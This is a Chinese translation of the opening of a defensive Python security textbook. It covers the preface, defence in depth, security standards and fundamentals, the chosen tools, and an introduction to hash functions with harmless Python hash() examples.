Python-全栈安全-全-

Python 全栈安全(全)

原文:annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

序言

多年前,我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Python 书籍,如性能、机器学习和 Web 开发。

令我惊讶的是,我搜索的那本书并不存在。我找不到一本关于我和我的同事们正在解决的日常问题的书。我们如何确保所有网络流量都是加密的?我们应该使用哪些框架来保护 Web 应用程序?我们应该用什么算法来对数据进行哈希或签名?

在接下来的几年里,我和我的同事们在确定一套标准的开源工具和最佳实践的同时,找到了这些问题的答案。在此期间,我们设计并实施了几个系统,保护了数百万新用户的数据和隐私。与此同时,有三家竞争对手遭受了黑客攻击。

像世界上其他人一样,我的生活在 2020 年初发生了变化。每条头条新闻都是关于 COVID-19 的,突然间远程工作成为了新常态。我认为可以说,每个人对这场大流行都有自己独特的反应;对我来说,是严重的无聊。

写这本书让我一举两得。首先,在疫情封锁的一年里,这是一种避免无聊的好方法。作为硅谷的居民,在 2020 年秋天,这个银色光辉在我这里被放大了。在此期间,一连串附近的山火破坏了该州大部分地区的空气质量,许多居民被困在家中。

其次,更重要的是,写这本书是非常令人满意的,因为我找不到可以购买的这本书。像许多硅谷初创公司一样,很多书最初的目的就是获得“作者”或“创始人”这样的头衔。但是,如果一家初创公司或一本书永远不会为他人产生价值,它必须解决现实世界的问题。

我希望这本书能让您解决许多您面临的真实安全问题。

致谢

写作需要很多孤独的努力。因此很容易忘记谁帮助了你。我想感谢以下人员帮助我(按我遇到他们的顺序)。

致 Kathryn Berkowitz,感谢你是世界上最好的高中英语老师。对于我造成的麻烦,我深感抱歉。致 Amit Rathore,我的 ThoughtQuitter 同伴,感谢你介绍我认识 Manning。我要感谢 Jay Fields、Brian Goetz 和 Dean Wampler,在我寻找出版商时给予的建议和支持。致 Cary Kempston,感谢你对认证团队的支持。没有实际工作经验,我就不应该写出这样的书。致 Mike Stephens,感谢你看过我的原始“手稿”并看到了潜力。我要感谢 Toni Arritola,我的开发编辑,教会我许多知识。我非常感谢你的反馈,通过它我学到了很多关于技术写作的东西。致我的技术编辑 Michael Jensen,感谢你周到的反馈和快速的交稿时间。你的评论和建议帮助这本书取得了成功。

最后,我要感谢在这一努力的开发阶段给予我时间和反馈的所有 Manning 评论员:Aaron Barton,Adriaan Beiertz,Bobby Lin,Daivid Morgan,Daniel Vasquez,Domingo Salazar,Grzegorz Mika,Håvard Wall,Igor van Oostveen,Jens Christian Bredahl Madsen,Kamesh Ganesan,Manu Sareena,Marc-Anthony Taylor,Marco Simone Zuppone,Mary Anne Thygesen,Nicolas Acton,Ninoslav Cerkez,Patrick Regan,Richard Vaughan,Tim van Deurzen,Veena Garapaty 和 William Jamir Silva,你们的建议帮助这本书更上一层楼。

关于本书

我用 Python 来教授安全,而不是反过来。换句话说,当你阅读本书时,你将学到更多关于安全而不是 Python 的知识。这有两个原因。首先,安全是复杂的,而 Python 并不是。其次,编写大量的自定义安全代码并不是保护系统的最佳方式;几乎总是应该把繁重的工作委托给 Python、一个库或一个工具。

本书涵盖了初学者和中级安全概念。这些概念是用初级 Python 代码实现的。无论是安全还是 Python 的材料都不是高级的。

谁应该阅读这本书

本书中的所有示例都模拟了在现实世界中开发和保护系统的挑战。因此,将代码推送到生产环境的程序员将学到最多。需要具备初级 Python 技能,或者对任何其他主要语言有中级经验。你当然不必是 web 开发人员才能从这本书中学习,但对 web 的基本了解会使吸收后半部分内容变得更容易。

也许你不是构建或维护系统的人;相反,你是测试它们。如果是这样,你将更深入地了解什么要测试,但我甚至不会试图教你如何测试。你知道,这是两种不同的技能。

与一些安全书籍不同,这里的例子都不假设攻击者的视角。因此,这个群体将学到最少。如果对他们来说有任何安慰的话,在一些章节中,我会让坏人获胜。

本书的组织方式:一份路线图

本书的第一章通过简要介绍安全标准、最佳实践和基础知识来设定期望。剩下的 17 章分为三个部分。

第 1 部分,“密码学基础”,通过少量的密码学概念奠定了基础。这部分内容在第 2 部分和第 3 部分中反复出现。

  • 第二章直接介绍了散列和数据完整性的密码学。在讲解的过程中,我介绍了一小组在全书中频繁出现的字符。

  • 第三章是从第二章中提取出来的。该章涉及到使用密钥生成和键控散列进行数据验证。

  • 第四章涵盖了任何安全书籍都必不可少的两个主题:对称加密和保密性。

  • 类似于第三章,第五章也是从其前一章中提取出来的。该章涵盖了非对称加密、数字签名和不可否认性。

  • 第六章将前几章的许多主要思想结合起来,形成了一个无处不在的网络协议,传输层安全性。

第 2 部分,“认证和授权”,包含了本书中最具商业价值的材料。该部分以大量关于与安全相关的常见用户工作流的实际操作指导为特点。

  • 第七章介绍了 HTTP 会话管理和 Cookies,为后续章节讨论的许多攻击做好了铺垫。

  • 第八章完全关于身份,介绍了用户注册和用户认证的工作流程。

  • 第九章介绍了密码管理,是我写作过程中最有趣的一章。这部分内容在之前的章节中得到了大量的延伸。

  • 第十章从认证转向了授权,介绍了关于权限和用户组的另一个工作流程。

  • 第十一章通过 OAuth 结束了第 2 部分,OAuth 是一个为了共享受保护资源而设计的行业标准授权协议。

读者们发现第 3 部分,“抵御攻击”,是本书中最具对抗性的部分。这部分内容更易于理解,也更加刺激。

  • 第十二章深入操作系统,涉及到文件系统、外部可执行文件和 Shell 等主题。

  • 第十三章教会你如何通过各种输入验证策略来抵制众多的注入攻击。

  • 第十四章完全专注于最臭名昭著的所有注入攻击,即跨站脚本攻击。你可能早就预料到了这一点。

  • 第十五章介绍了内容安全策略。在某种程度上,这可以被视为关于跨站脚本攻击的附加章节。

  • 第十六章介绍了跨站请求伪造。这一章结合了前几章的几个主题,并且遵循了 REST 的最佳实践。

  • 第十七章解释了同源策略,以及我们为什么会不时地使用跨源资源共享来放宽同源策略。

  • 第十八章以关于点击劫持的内容结束了本书,并提供了一些资源来保持你的技能更新。

关于代码

本书包含许多源代码示例,包括编号列表和与普通文本一致的代码。在这两种情况下,源代码都以固定宽度字体格式显示,以将其与普通文本分隔开。有时代码也会以粗体显示,以突出显示从本章的先前步骤更改的代码,例如当新功能添加到现有代码行时。

在许多情况下,原始源代码已经重新格式化;我们添加了换行符并重新调整了缩进以适应书中可用的页面空间。在少数情况下,即使这样还不够,列表中也包含行续标记(➥)。此外,当文本描述代码时,源代码中的注释通常已从列表中删除。代码注释伴随着许多列表,突出显示重要概念。

liveBook 讨论论坛

购买《全栈 Python 安全》包括免费访问 Manning Publications 维护的私人网络论坛,您可以在论坛上发表对书籍的评论,提出技术问题,并从作者和其他用户那里获得帮助。要访问论坛,请访问livebook.manning.com/book/practical-python-security/welcome/v-4/。您还可以在livebook.manning.com/#!/discussion了解有关 Manning 论坛和行为规则的更多信息。

Manning 对我们的读者的承诺是提供一个场所,个人读者和读者与作者之间可以进行有意义的对话。这并不意味着作者需要承诺任何特定数量的参与,作者对论坛的贡献仍然是自愿的(并且未付费的)。我们建议您尝试向作者提出一些具有挑战性的问题,以免他失去兴趣!只要书籍在印刷中,论坛和以前讨论的存档将可以从出版商的网站访问。

关于作者

Dennis Byrne 是 23andMe 架构团队的成员,保护着超过 1000 万客户的基因数据和隐私。在加入 23andMe 之前,Dennis 曾是 LinkedIn 的软件工程师。Dennis 是一名健美运动员和全球水下探险者(GUE)洞穴潜水员。他目前住在硅谷,远离他成长并上学的阿拉斯加。

关于封面插图

全栈 Python 安全封面上的人物题为“Homme Touralinze”,是西伯利亚一个地区的图茂人。这幅插图选自雅克·格拉塞·德·圣索维尔(Jacques Grasset de Saint-Sauveur)(1757-1810)收集的各国服装集《不同国家的服装》,该书于 1797 年在法国出版。每幅插图都经过精细绘制和手工上色。格拉塞·德·圣索维尔收集的丰富多样性生动地提醒我们,仅仅 200 年前,世界各地的城镇和地区在文化上是多么分隔开的。人们彼此孤立,说着不同的方言和语言。在街上或乡间,仅仅通过他们的着装就能轻易地辨认出他们住在哪里,以及他们的贸易或社会地位。

我们的着装方式自那时起已经发生了变化,地区之间的多样性在当时是如此丰富,但现在已经逐渐消失了。现在很难区分不同大陆的居民,更不用说不同的城镇、地区或国家了。也许我们已经用更加多样化的个人生活换取了文化多样性——当然也换来了更加多样化和快节奏的技术生活。

在如今很难辨别一本电脑书和另一本电脑书的时代,曼宁庆祝计算机行业的创造力和主动性,其书籍封面基于两个世纪前丰富多样的地区生活,由格拉塞·德·圣索维尔(Grasset de Saint-Sauveur)的图片带回到人们的视线中。

第一章:深度防御

本章涵盖

  • 定义你的攻击面

  • 引入深度防御

  • 遵守标准、最佳实践和基本原则

  • 识别 Python 安全工具

你现在比以往任何时候都更加信任组织保管你的个人信息。不幸的是,其中一些组织已经将你的信息交给了攻击者。如果你觉得难以置信,可以访问haveibeenpwned.com。这个网站允许你轻松搜索一个包含数十亿被入侵账户的电子邮件地址的数据库。随着时间的推移,这个数据库只会变得更大。作为软件用户,通过这种共同经历,我们对安全有了一定的认识。

因为你打开了这本书,我敢打赌你对安全有了额外的认识。和我一样,你不仅想使用安全系统;你也想创建它们。大多数程序员重视安全,但他们并不总是有能力实现。我写这本书是为了为你提供一个建立这种背景的工具集。

安全是抵抗攻击的能力。本章从外部向内部分解安全性,从攻击开始。随后的章节涵盖了你在 Python 中实现防御层所需的工具。

每次攻击都始于一个入口点。一个特定系统的所有入口点的总和被称为攻击面。在一个安全系统的攻击面下面是安全层,一种被称为深度防御的架构设计。防御层遵循标准和最佳实践,以确保安全基础。

1.1 攻击面

信息安全已经从一小部分的做和不做发展成为一个复杂的学科。是什么驱使了这种复杂性?安全是复杂的,因为攻击是复杂的;出于必要性,它是复杂的。如今的攻击形式多种多样。在我们能够开发安全系统之前,我们必须对攻击有所了解。

正如我在前一节中所指出的,每次攻击都始于一个易受攻击的入口点,所有潜在入口点的总和就是你的攻击面。每个系统都有一个独特的攻击面。

攻击和攻击面处于不断变化的状态。攻击者随着时间变得更加复杂,新的漏洞也会定期被发现。保护你的攻击面因此是一个永无止境的过程,一个组织对这一过程的承诺应该是持续的。

攻击的入口点可以是系统的用户、系统本身,或者两者之间的网络。例如,攻击者可能通过电子邮件或聊天来针对用户作为某些形式攻击的入口点。这些攻击旨在诱使用户与恶意内容互动,以利用漏洞。这些攻击包括以下内容:

  • 反射性跨站脚本(XSS)

  • 社会工程(例如,网络钓鱼,短信欺诈)

  • 跨站请求伪造

  • 开放重定向攻击

或者,攻击者可能以系统本身为入口点进行攻击。这种形式的攻击通常旨在利用输入验证不足的系统。这些攻击的经典示例如下:

  • 结构化查询语言(SQL)注入

  • 远程代码执行

  • 主机头攻击

  • 拒绝服务

攻击者可能以用户和系统一起作为入口点,进行诸如持久性跨站脚本或点击劫持等攻击。最后,攻击者可能使用用户和系统之间的网络或网络设备作为入口点:

  • 中间人攻击

  • 重放攻击

本书教会你如何识别和抵御这些攻击,其中一些攻击有一个专门的章节(XSS 有可能有两个章节)。图 1.1 描绘了一个典型软件系统的攻击表面。四名攻击者同时向这个攻击表面施加压力,用虚线表示。尽量不要被细节淹没。这只是为你提供一个高层次概述。到本书结束时,你将了解每种攻击是如何工作的。

CH01_F01_Byrne

图 1.1 四名攻击者同时通过用户、系统和网络对攻击表面施加压力。

在每个安全系统的攻击表面下都有防御层;我们不只是保护周边。正如本章开头所述,这种分层的安全方法通常称为防御深度

1.2 防御深度

防御深度,一种源自国家安全局内部的哲学,认为系统应该通过多层安全来应对威胁。每一层安全都是双重目的:它抵御攻击,并在其他层失败时充当备份。我们从不把所有的鸡蛋放在一个篮子里;即使是优秀的程序员也会犯错误,而且定期会发现新的漏洞。

让我们首先通过比喻来探讨防御的深度。想象一座只有一层防御的城堡,即一支军队。这支军队经常保卫城堡免受攻击者的攻击。假设这支军队有 10%的失败几率。尽管军队很强大,国王对当前的风险水平感到不安。你或我能否接受一个无法抵御所有攻击的系统?我们的用户能否接受这一点?

国王有两个选项来降低风险。一个选择是加强军队。这是可能的,但不是经济有效的。消除最后 10%的风险将比消除前 10%的风险显然要昂贵得多。国王决定不是加强军队,而是通过在城堡周围挖掘一道护城河来增加另一层防御。

护城河能减少多少风险?只有军队和护城河都失败了,城堡才会被攻陷,因此国王用简单的乘法计算风险。如果像军队一样,护城河有 10% 的失败几率,那么每次攻击成功的几率就是 10% × 10%,或者 1%。想象一下,与建造一个有 1% 失败几率的军队相比,仅仅挖个坑并注水填满要花多少钱。

最后,国王在城堡周围修建了一堵墙。像军队和护城河一样,这堵墙有 10% 的失败几率。现在,每次攻击的成功几率是 10% × 10% × 10%,或者 0.1%。

防御的成本效益分析归结为算术和概率。增加另一层始终比试图完善单一层更具成本效益。深度防御认识到完美的徒劳;这是一种优势,而不是一种弱点。

随着时间的推移,一种防御层的实现比其他层更成功和流行;挖护城河的方式有限。一个常见问题的常见解决方案出现了。安全社区开始认识到一个模式,并且一种新技术从实验性发展到标准化。标准化机构评估该模式,讨论细节,定义规范,一个安全标准就诞生了。

1.2.1 安全标准

许多成功的安全标准是由国家标准与技术研究院(NIST)、互联网工程任务组(IETF)和万维网联盟(W3C)等组织建立的。通过本书,你将学习如何使用以下标准来保护系统:

  • 高级加密标准 (AES) — 一种对称加密算法。

  • 安全哈希算法 2 (SHA-2) — 一族密码哈希函数。

  • 传输层安全 (TLS) — 一种安全的网络协议。

  • OAuth 2.0 — 一种用于共享受保护资源的授权协议。

  • 跨源资源共享 (CORS) — 浏览器的资源共享协议。

  • 内容安全策略 (CSP) — 一种基于浏览器的攻击缓解标准。

为什么要标准化?安全标准为程序员提供了一个构建安全系统的共同语言。共同语言使来自不同组织的不同人员能够使用不同工具构建可互操作的安全软件。例如,一个 web 服务器向每种类型的浏览器提供相同的 TLS 证书;浏览器可以理解来自每种类型的 web 服务器的 TLS 证书。

此外,标准化促进了代码重用。例如,oauthlib 是 OAuth 标准的通用实现。这个库被 Django OAuth Toolkit 和 flask-oauthlib 包装,允许 Django 和 Flask 应用程序都使用它。

我会坦诚地告诉你:标准化并不能神奇地解决每个问题。有时候,一个漏洞是在大家都接受标准几十年后才被发现的。2017 年,一组研究人员宣布他们已经破解了 SHA-1 (shat tered.io/),一个之前享受了 20 多年行业应用的加密哈希函数。有时候,供应商不会在相同的时间范围内实施标准。每个主要浏览器支持某些 CSP 功能花了好几年的时间。尽管如此,标准化大部分时间确实是有效的,我们不能忽视它。

几个最佳实践已经发展出来以补充安全标准。防御深度本身就是一种最佳实践。像标准一样,安全系统遵循最佳实践;与标准不同,最佳实践没有具体规范。

1.2.2 最佳实践

最佳实践 不是由标准机构制定的产品;相反,它们是由模因、口口相传和像这本书一样的书定义的。这些是你必须做的事情,有时候你是独自一人。通过阅读本书,你将学会如何识别和追求这些最佳实践:

  • 在传输和静止状态下的加密

  • “不要自己造加密算法”

  • 最小权限原则

数据要么在传输中,要么在处理中,要么在静止中。当安全专家说“传输和静止状态下的加密”时,他们建议在数据在计算机之间移动时和写入存储时都进行加密。

当安全专家说“不要自己造加密算法”的时候,他们建议你重用经验丰富的专家的工作,而不是试图自己实现。依赖工具并不仅仅是为了满足紧迫的期限和写更少的代码。它变得流行是为了安全起见。不幸的是,许多程序员通过艰难的方式学到了这一点。通过阅读本书,你也将学会这一点。

最小权限原则PLP)保证用户或系统仅获得执行其职责所需的最小权限。在本书中,PLP 被应用于许多主题,如用户授权、OAuth 和 CORS。

图 1.2 描述了一个典型软件系统的安全标准和最佳实践的安排。

CH01_F02_Byrne

图 1.2 防御深度应用于具有安全标准和最佳实践的典型系统

无一层防御是万能药。没有安全标准或最佳实践能够独立解决所有安全问题。因此,这本书的内容,就像大多数 Python 应用程序一样,包含了许多标准和最佳实践。把每一章都看作是一个额外防御层的蓝图。

安全标准和最佳实践可能看起来听起来不同,但在幕后,每一个都只是应用相同基本原理的不同方式。这些基本原理代表了系统安全的最原子单位。

1.2.3 安全基础

安全基础知识反复出现在安全系统设计和本书中。算术与代数或三角函数之间的关系类似于安全基础知识与安全标准或最佳实践之间的关系。通过阅读本书,您将学习如何通过结合这些基础知识来保护系统:

  • 数据完整性—数据是否改变了?

  • 认证—你是谁?

  • 数据认证—谁创作了这个数据?

  • 不可否认性—谁做了什么?

  • 授权—你可以做什么?

  • 机密性—谁可以访问这个?

数据完整性,有时也称为消息完整性,确保数据没有意外损坏(比特腐败)。它回答了“数据是否改变了?”的问题。数据完整性保证了数据被读取的方式与其被写入的方式相同。数据读者可以验证数据的完整性,无论谁创作了它。

认证回答了“你是谁?”的问题。我们每天都在进行这项活动;这是验证某人或某物身份的行为。当一个人能成功回应用户名和密码的挑战时,身份得到了验证。不过,认证不仅仅适用于人,机器也可以被认证。例如,一个持续集成服务器在从代码仓库拉取更改之前进行身份验证。

数据认证,通常称为消息认证,确保数据读者可以验证数据写入者的身份。它回答了“谁创作了这个数据?”的问题。与数据完整性一样,当数据读者和写入者不同时,以及当数据读者和写入者相同时,数据认证也适用。

不可否认性回答了“谁做了什么?”的问题。它保证了个人或组织没有否认其行为的方式。不可否认性可以应用于任何活动,但对于在线交易和法律协议至关重要。

授权,有时也称为访问控制,经常与认证混淆。这两个术语听起来相似,但代表着不同的概念。正如先前所述,认证回答了“你是谁?”的问题。而授权则回答了“你可以做什么?”的问题。阅读电子表格、发送电子邮件和取消订单都是用户可能被授权或未被授权做的操作。

机密性回答了“谁可以访问这个?”的问题。这个基础保证了两个或更多方可以私下交换数据。以保密方式传输的信息不能被未经授权的任何方以任何有意义的方式阅读或解释。

本书教会您如何使用这些基础知识构建解决方案。表 1.1 列出了每个基础知识和其对应的解决方案。

表 1.1 安全基础知识

建筑块 解决方案
数据完整性 安全网络协议版本控制包管理
认证 用户认证系统认证
数据认证 用户注册用户登录工作流密码重置工作流用户会话管理
不可否认性 在线交易数字签名可信第三方
授权 用户授权系统对系统授权文件系统访问授权
机密性 加密算法安全网络协议

安全基础互相补充。单独使用每个基础并不是很有用,但是当它们结合在一起时就变得强大了。让我们考虑一些例子。假设一个电子邮件系统提供数据认证但不提供数据完整性。作为电子邮件接收者,你可以验证电子邮件发送者的身份(数据认证),但你无法确定电子邮件在传输过程中是否被修改。这并不是很有用,对吧?如果你无法验证实际数据,那么验证数据编写者的身份有什么意义呢?

想象一个新颖的网络协议,它保证了机密性但没有认证。窃听者无法访问你使用该协议发送的信息(机密性),但你无法确定你正在向谁发送数据。事实上,你可能正在向窃听者发送数据。上次你想与某人进行私人对话而不知道你在与谁交谈时是什么时候?通常,如果你想交换敏感信息,你也希望与你信任的人或事物进行交流。

最后,考虑一个支持授权但不支持认证的在线银行系统。这家银行始终确保你的资金由你管理;它只是不会要求你首先证明你的身份。一个系统如何在不知道用户是谁的情况下授权用户呢?显然,我们中没有人会把钱存入这家银行。

安全基础是安全系统设计的最基本构建模块。我们不能一遍又一遍地应用相同的基础。相反,我们必须混合搭配它们来构建防御层。对于每个防御层,我们希望将繁重的工作委托给工具。其中一些工具是 Python 的本机工具,其他工具则通过 Python 包提供。

1.3 工具

本书中的所有示例都是用 Python 编写的(具体来说是 3.8 版本)。为什么选择 Python?嗯,你不想读一本过时的书,我也不想写一本。Python 很受欢迎,而且越来越受欢迎。

编程语言流行度 (PYPL) 指数是基于谷歌趋势数据的编程语言流行度衡量标准。截至 2021 年中期,Python 在 PYPL 指数(pypl.github.io/PYPL.html)上排名第一,市场份额为 30%。在过去五年中,Python 的流行度增长超过了其他任何编程语言。

为什么 Python 如此受欢迎?对于这个问题有很多答案。大多数人似乎都同意有两个因素。首先,Python 是一种适合初学者的编程语言。它易于学习、阅读和编写。其次,Python 生态系统已经爆炸式增长。2017 年,Python 包索引(PyPI)达到了 100,000 个包。这个数字仅用了两年半的时间就翻了一番。

我不想写一本只涵盖 Python Web 安全的书。因此,一些章节介绍了诸如加密、密钥生成和操作系统等主题。我使用一些与安全相关的 Python 模块探讨这些主题:

有些工具有专门的章节,其他工具则遍布全书。还有一些工具仅有简短的介绍。你将学到关于以下工具的一些或许很多的知识:

Web 服务器占据了典型攻击面的很大一部分。因此,本书有许多章节专门讨论保护 Web 应用程序的问题。在这些章节中,我不得不问自己一个许多 Python 程序员熟悉的问题:Flask 还是 Django?这两个框架都值得尊重;它们之间的主要区别是极简主义与开箱即用功能之间的差异。相对于彼此,Flask 默认使用基本功能,而 Django 默认使用功能丰富的功能。

作为一个极简主义者,我喜欢 Flask。不幸的是,它将极简主义应用到了许多安全功能上。使用 Flask,你的大部分防御层都是委托给第三方库的。另一方面,Django 则较少依赖第三方支持,具有许多内置的保护功能,默认情况下启用。在这本书中,我使用 Django 来演示 Web 应用程序安全性。当然,Django 不是万能的;我还使用了以下第三方库:

图 1.3 展示了一个由这套工具组成的栈。在这个栈中,Gunicorn 通过 TLS 中继用户和服务器之间的流量。用户输入通过 Django 表单验证、模型验证和对象关系映射(ORM)进行验证;系统输出通过 HTML 转义进行清理。django-cors-headersdjango-csp 确保每个出站响应都使用适当的 CORS 和 CSP 标头进行锁定。hashlibhmac 模块执行哈希运算;cryptography 包执行加密操作。requests-oauthlib 与 OAuth 资源服务器进行接口交互。最后,Pipenv 防止包存储库中的漏洞。

CH01_F03_Byrne

图 1.3 一套常见 Python 组件的完整堆栈,在每个层级抵抗某种形式的攻击

这本书对框架和库没有偏见;它不偏袒任何一方。如果你钟爱的开源框架被另一种选择所取代,请不要把它当成个人攻击。这本书涵盖的每个工具都是通过问两个问题来选择的:

  • 这个工具成熟吗? 我们俩最后不应该把职业生涯押在一个刚出生的开源框架上。我故意不涉及尖端工具;这叫做“尖端”不是没有原因的。按照定义,处于这个开发阶段的工具不能被认为是安全的。因此,这本书中的所有工具都是成熟的;这里的一切都经过了实战考验。

  • 这个工具受欢迎吗? 这个问题与未来比过去更有关系,与过去无关。具体来说,读者在未来使用这个工具的可能性有多大?无论我使用哪种工具来演示一个概念,记住最重要的是概念本身。

1.3.1 保持务实

这是一本实用手册,而不是教科书;我更注重专业人士而不是学生。这并不是说安全的学术方面不重要。它非常重要。但安全和 Python 是广阔的主题。本材料的深度被限制在对目标受众最有用的内容上。

在这本书中,我涵盖了一些用于哈希和加密的功能。我不涉及这些功能背后的繁重数学。你将学习这些功能的行为;你不会学到这些功能是如何实现的。我会告诉你何时以及何时不应该使用它们。

阅读这本书会让你成为一个更好的程序员,但这并不能让你成为一个安全专家。没有一本书能做到这一点。不要相信那些承诺能做到这一点的书。阅读这本书,并写一个安全的 Python 应用程序!让现有系统更安全。自信地将你的代码推向生产环境。但不要将你的 LinkedIn 资料标题设置为密码学家

概要

  • 每次攻击都始于一个入口点,对于单个系统,这些入口点的总和被称为攻击面。

  • 攻击复杂性推动了深度防御的需求,这是一种以层为特征的架构方法。

  • 许多防御层坚持安全标准和最佳实践,以促进互操作性、代码重用和安全性。

  • 在底层,安全标准和最佳实践是应用相同基本概念的不同方式。

  • 你应该努力将繁重的工作委托给像框架或库这样的工具;许多程序员都是通过艰苦的方式学会这一点的。

  • 通过阅读这本书,你会成为一个更好的程序员,但这并不会让你成为一个密码学专家。

第一部分:密码学基础

我们每天都依赖哈希、加密和数字签名。在这三者中,加密通常是最受关注的。它在会议上、讲堂上以及主流媒体中更受关注。程序员们通常也更有兴趣学习它。

本书的第一部分反复展示了为什么哈希和数字签名与加密一样重要。此外,本书的后续部分展示了这三者的重要性。因此,第 2 至 6 章本身就很有用,但它们也有助于你理解许多后续章节。

第二章:哈希

本章涵盖

  • 定义哈希函数

  • 引入安全原型

  • 使用哈希验证数据完整性

  • 选择加密哈希函数

  • 使用hashlib模块进行加密哈希处理

在本章中,您将学习如何使用哈希函数来确保数据完整性,这是安全系统设计的基本构建块。您还将学习如何区分安全和不安全的哈希函数。在此过程中,我将向您介绍爱丽丝、鲍勃和其他几个原型角色。我使用这些角色贯穿整本书来说明安全概念。最后,您将学习如何使用hashlib模块对数据进行哈希处理。

2.1 什么是哈希函数?

每个哈希函数都有输入和输出。哈希函数的输入称为消息。消息可以是任何形式的数据。葛底斯堡演说、一张猫的图片和一个 Python 包都是潜在消息的例子。哈希函数的输出是一个非常大的数字。这个数字有许多名称:哈希值哈希哈希码摘要消息摘要

在这本书中,我使用术语哈希值。哈希值通常表示为字母数字字符串。哈希函数将一组消息映射到一组哈希值。图 2.1 说明了消息、哈希函数和哈希值之间的关系。

CH02_F01_Byrne

图 2.1 哈希函数将一个称为消息的输入映射到一个称为哈希值的输出。

在这本书中,我将每个哈希函数描绘为一个漏斗。哈希函数和漏斗都接受可变大小的输入并产生固定大小的输出。我将每个哈希值描绘为一个指纹。哈希值和指纹分别唯一标识一条消息或一个人。

哈希函数彼此之间是不同的。这些差异通常归结为本节中定义的属性。为了说明前几个属性,我们将使用一个内置的 Python 函数,方便地命名为hash。Python 使用这个函数来管理字典和集合,而你和我将用它来进行教学目的。

内置的hash函数是介绍基础知识的好方法,因为它比本章后面讨论的哈希函数要简单得多。内置的hash函数接受一个参数,即消息,并返回一个哈希值:

$ python
>>> message = 'message'   # ❶
>>> hash(message)
2010551929503284934       # ❷

❶ 消息输入

❷ 哈希值输出

哈希函数具有三个基本属性:

  • 确定性行为

  • 固定长度的哈希值

  • 雪崩效应

确定性行为

每个哈希函数都是确定性的:对于给定的输入,哈希函数总是产生相同的输出。换句话说,哈希函数的行为是可重复的,而不是随机的。在 Python 进程中,内置的hash函数对于给定的消息值始终返回相同的哈希值。在交互式 Python shell 中运行以下两行代码。你的哈希值将匹配,但会与我的不同:

>>> hash('same message')
1116605938627321843        # ❶
>>> hash('same message')
1116605938627321843        # ❶

❶ 相同的哈希值

我在本章后面讨论的哈希函数是普遍确定性的。这些函数无论在何时何地调用,行为都是相同的。

固定长度的哈希值

消息具有任意长度;对于特定哈希函数,哈希值具有固定长度。如果一个函数不具备这个属性,那么它就不符合哈希函数的标准。消息的长度不会影响哈希值的长度。将不同的消息传递给内置的hash函数将给出不同的哈希值,但每个哈希值始终是一个整数。

雪崩效应

当消息之间的微小差异导致哈希值之间的巨大差异时,哈希函数被认为表现出雪崩效应。理想情况下,每个输出位都取决于每个输入位:如果两个消息只有一个位不同,那么平均只有一半的输出位应该匹配。哈希函数的评判标准是它与理想情况有多接近。

看一下以下代码。字符串和整数对象的哈希值都具有固定长度,但只有字符串对象的哈希值表现出雪崩效应:

>>> bin(hash('a'))
'0b100100110110010110110010001110011110011111011101010000111100010'
>>> bin(hash('b'))
'0b101111011111110110110010100110000001010000011110100010111001110'
>>> 
>>> bin(hash(0))
'0b0'
>>> bin(hash(1))
'0b1'

内置的hash函数是一个很好的教学工具,但不能被视为加密哈希函数。接下来的部分将阐述这一点的三个原因。

2.1.1 加密哈希函数属性

加密哈希函数必须满足三个额外的标准:

  • 单向函数属性

  • 弱碰撞抗性

  • 强碰撞抗性

这些属性的学术术语分别是前像抗性第二前像抗性碰撞抗性。为了讨论方便,我避免使用学术术语,这并不是对学者们的有意不敬。

单向函数

用于加密目的的哈希函数,没有例外,必须是单向函数。如果一个函数易于调用但难以逆向工程,则称其为单向函数。换句话说,如果你有输出,那么很难确定输入。如果攻击者获得了一个哈希值,我们希望他们很难弄清楚消息是什么。

有多难?我们通常使用不可行这个词。这意味着非常困难—难到攻击者只有一个选择,如果他们想要逆向工程消息:暴力破解。

暴力破解是什么意思?每个攻击者,即使是一个不成熟的攻击者,也能够编写一个简单的程序来生成大量的消息,对每个消息进行哈希,并将每个计算出的哈希值与给定的哈希值进行比较。这是一个暴力破解攻击的例子。攻击者需要大量的时间和资源,而不是智力。

需要多少时间和资源?这是主观的。答案并非一成不变。例如,对本章后面讨论的一些哈希函数进行理论暴力攻击将需要数百万年和数十亿美元。一个理性的安全专业人士会认为这是不可行的。这并不意味着不可能。我们认识到没有完美的哈希函数,因为暴力攻击始终是攻击者的一个选择。

不可行性是一个不断变化的目标。几十年前被认为不可行的暴力攻击,今天或明天可能就变得实际。随着计算机硬件成本的持续下降,暴力攻击的成本也在降低。不幸的是,加密强度随着时间的推移而减弱。不要把这理解为每个系统最终都会变得脆弱。相反,要明白每个系统最终都必须使用更强大的哈希函数。本章将帮助您就使用哪些哈希函数做出明智的决定。

碰撞抗性

用于加密目的的哈希函数,没有例外,必须具有碰撞抗性。什么是碰撞?虽然不同消息的哈希值具有相同的长度,但它们几乎永远不会具有相同的值...几乎。当两个消息的哈希值相同时,称为碰撞。碰撞是不好的。哈希函数被设计来最小化碰撞。我们根据它们避免碰撞的能力来评判哈希函数;有些比其他的更好。

如果给定一个消息,一个哈希函数具有弱碰撞抗性,那么识别出一个第二个消息的哈希值与之相同是不可行的。换句话说,如果攻击者有一个输入,识别出另一个能够产生相同输出的输入是不可行的。

如果一个哈希函数具有强碰撞抗性,那么找到任何碰撞都是不可行的。弱碰撞抗性和强碰撞抗性之间的区别微妙。弱碰撞抗性限定于特定的给定消息;强碰撞抗性适用于任何一对消息。图 2.2 说明了这种差异。

CH02_F02_Byrne

图 2.2 弱碰撞抗性与强碰撞抗性的比较

强碰撞抗性意味着弱碰撞抗性,反之则不然。任何具有强碰撞抗性的哈希函数也具有弱碰撞抗性;具有弱碰撞抗性的哈希函数不一定具有强碰撞抗性。因此,强碰撞抗性是一个更大的挑战;这通常是攻击者或研究人员破解加密哈希函数时首先丢失的属性。本章后面,我将向您展示一个现实世界中的例子。

关键词是不可行。尽管识别一个无碰撞的哈希函数会有多好,但我们永远也找不到,因为它根本不存在。想想看。消息可以有任意长度;哈希值只能有一个长度。因此,所有可能消息的集合总是大于所有可能哈希值的集合。这被称为鸽巢原理

在本节中,您了解了哈希函数是什么。现在是时候学习哈希如何确保数据完整性了。但首先,我将向您介绍一些原型角色。我在整本书中使用这些角色来说明安全概念,从本章开始讲述数据完整性。

2.2 原型角色

